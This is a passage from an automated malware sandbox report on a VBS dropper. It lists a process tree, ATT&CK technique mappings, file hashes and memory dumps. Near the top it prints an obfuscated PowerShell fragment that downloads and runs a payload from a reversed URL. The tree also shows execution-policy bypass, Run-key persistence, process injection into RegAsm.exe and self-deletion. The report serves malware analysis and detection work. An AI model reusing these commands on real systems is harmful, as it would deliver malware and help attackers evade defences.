).Invoke( $null , [object[]] ( 'txt.oti/stnof/sedulcni-pw/moc.sweiversecivreslautrive//:sptth' , $huUPX , 'true' ) );};"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5052
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c mkdir "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\"
      4⤵
      PID:760
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -file "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\\x2.ps1"
      4⤵
      Adds Run key to start application
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3428
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\gvdba.ps1"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1692
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:1392
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:1500
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1292
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1292 -s 620
        6⤵
        Program crash
        
        PID:4128
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\NuovoOrdine.vbs"
      4⤵
      PID:3504

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4352,i,1828333185976713750,7918646547767660928,262144 --variations-seed-version --mojo-platform-channel-handle=4408 /prefetch:8
1⤵
PID:4876

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 1292 -ip 1292
1⤵
PID:2156

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Indicator Removal

1

T1070

File Deletion

Modify Registry

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\gvdba.ps1

Filesize
1.2MB

MD5
8481d9764cda27d097559253f6c5804a

SHA1
813e576e5f5ee54ee74ead61e30b6e3d04a377a3

SHA256
3d641dae182ce73851fcfb842ba19ba70f0e5c2b02730fc66948cec688d3949d

SHA512
3a0b4eb5fd1e01656256308c40e5eca3eb036e33fe686ce22dc6223b2057359db0da020aab8d80c1c68f0b60b17565bf37c60e76224b4fecb5c320c52d9cd282

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\x2.ps1

Filesize
334B

MD5
806c08a9caa285657f45bbe57db08571

SHA1
b748b2980d05fcf40cdffca0a0e82dd04552e0b6

SHA256
1684c697d130214c2dffec3134641f42223ce9f670229d98786c5ffd2ff0c1a5

SHA512
e512bc550334ed613ee4304135e4f4ad536a858f110c3c344ded97d48d5d4120506580fe77316a1a2635e2bf3c333e1736a45a3708f2f6c1bda74963abe076d6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7d5d8cf9f65ce79e552409c240295219

SHA1
ec5e938110638dcd176ce0645682a0d3949dd5a8

SHA256
817d6bfa16b959aae0dec64568ec6d98fdd61a205c61dde60551e192e5478596

SHA512
0d06c42b9c5648311000eefe9bd5a952dafd999b5c7ab17dbbebb6c6d9cd4b1de451e13ef0af72dfa3557aee8cb8bb5521642db843c3f61dfd701dd6c95afb68

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
721991167161c45d61b03e4dbad4984b

SHA1
fd3fa85d142b5e8d4906d3e5bfe10c5347958457

SHA256
0a7be18529bdbed6fc9f36118a6147920d31099ee0fb5a2a8b6b934d1b9bcefb

SHA512
f1aa4f8e48eeb5b5279530d8557cb292a08b25ad46af0dd072130c395127f6c064c88b04910c626c13f22462104ac3d36fa0d4064fff0ec7528922df54ecdcf0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3obr5zg0.zwj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1292-63-0x0000000000400000-0x0000000000454000-memory.dmp

Filesize
336KB

Download
memory/1292-61-0x0000000000400000-0x0000000000454000-memory.dmp

Filesize
336KB

Download
memory/1292-59-0x0000000000400000-0x0000000000454000-memory.dmp

Filesize
336KB

Download
memory/1692-58-0x0000022569320000-0x000002256932A000-memory.dmp

Filesize
40KB

Download
memory/1924-12-0x00007FF857460000-0x00007FF857F21000-memory.dmp

Filesize
10.8MB

Download
memory/1924-46-0x00007FF857460000-0x00007FF857F21000-memory.dmp

Filesize
10.8MB

Download
memory/1924-23-0x00007FF857460000-0x00007FF857F21000-memory.dmp

Filesize
10.8MB

Download
memory/1924-22-0x00007FF857463000-0x00007FF857465000-memory.dmp

Filesize
8KB

Download
memory/1924-0-0x00007FF857463000-0x00007FF857465000-memory.dmp

Filesize
8KB

Download
memory/1924-11-0x00007FF857460000-0x00007FF857F21000-memory.dmp

Filesize
10.8MB

Download
memory/1924-1-0x000001DCCD6C0000-0x000001DCCD6E2000-memory.dmp

Filesize
136KB

Download
memory/5052-24-0x0000029533210000-0x000002953321A000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads